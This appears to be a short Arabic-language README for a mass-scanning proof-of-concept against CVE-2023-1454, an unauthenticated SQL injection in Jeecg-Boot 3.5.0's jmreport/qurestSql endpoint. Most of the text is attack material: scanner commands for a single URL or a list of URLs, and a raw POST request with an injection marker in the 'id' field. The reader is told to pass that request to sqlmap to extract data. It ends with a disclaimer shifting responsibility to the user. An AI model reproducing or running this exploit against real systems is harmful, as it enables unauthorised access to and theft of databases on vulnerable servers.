cjybao/cve-2023-1454jmreport/qurestSql — نموذج إثبات مفهوم (PoC) للمسح الجماعي لثغرات حقن SQL غير المصرّح بها
jmreport/qurestSql PoC للمسح الجماعي لثغرة حقن SQL غير المصرح بها Jeecg-Boot هي منصة تطوير سريع مبنية على Spring Boot وJeecg-Boot-Plus، وقد تم اكتشاف ثغرات متعددة لحقن SQL في أحدث إصدار jeecg-boot 3.5.0.
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 اختبار عنوان URL واحد
python3 CVE-2023-1454-scan.py -f url.txt فحص جماعي
بعد انتهاء الفحص، سيتم إنشاء ملف vuln.txt في الدليل الحالي يحتوي على عناوين URL المعرضة للثغرة.
poc:
exp:
احفظ حزمة البيانات كملف txt واستخدم sqlmap للحصول على البيانات
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}
أي عواقب أو خسائر مباشرة أو غير مباشرة تنشأ عن نشر أو استخدام المعلومات الواردة في هذا المستند تقع على عاتق المستخدم نفسه، ولا يتحمل المؤلف أي مسؤولية عن ذلك.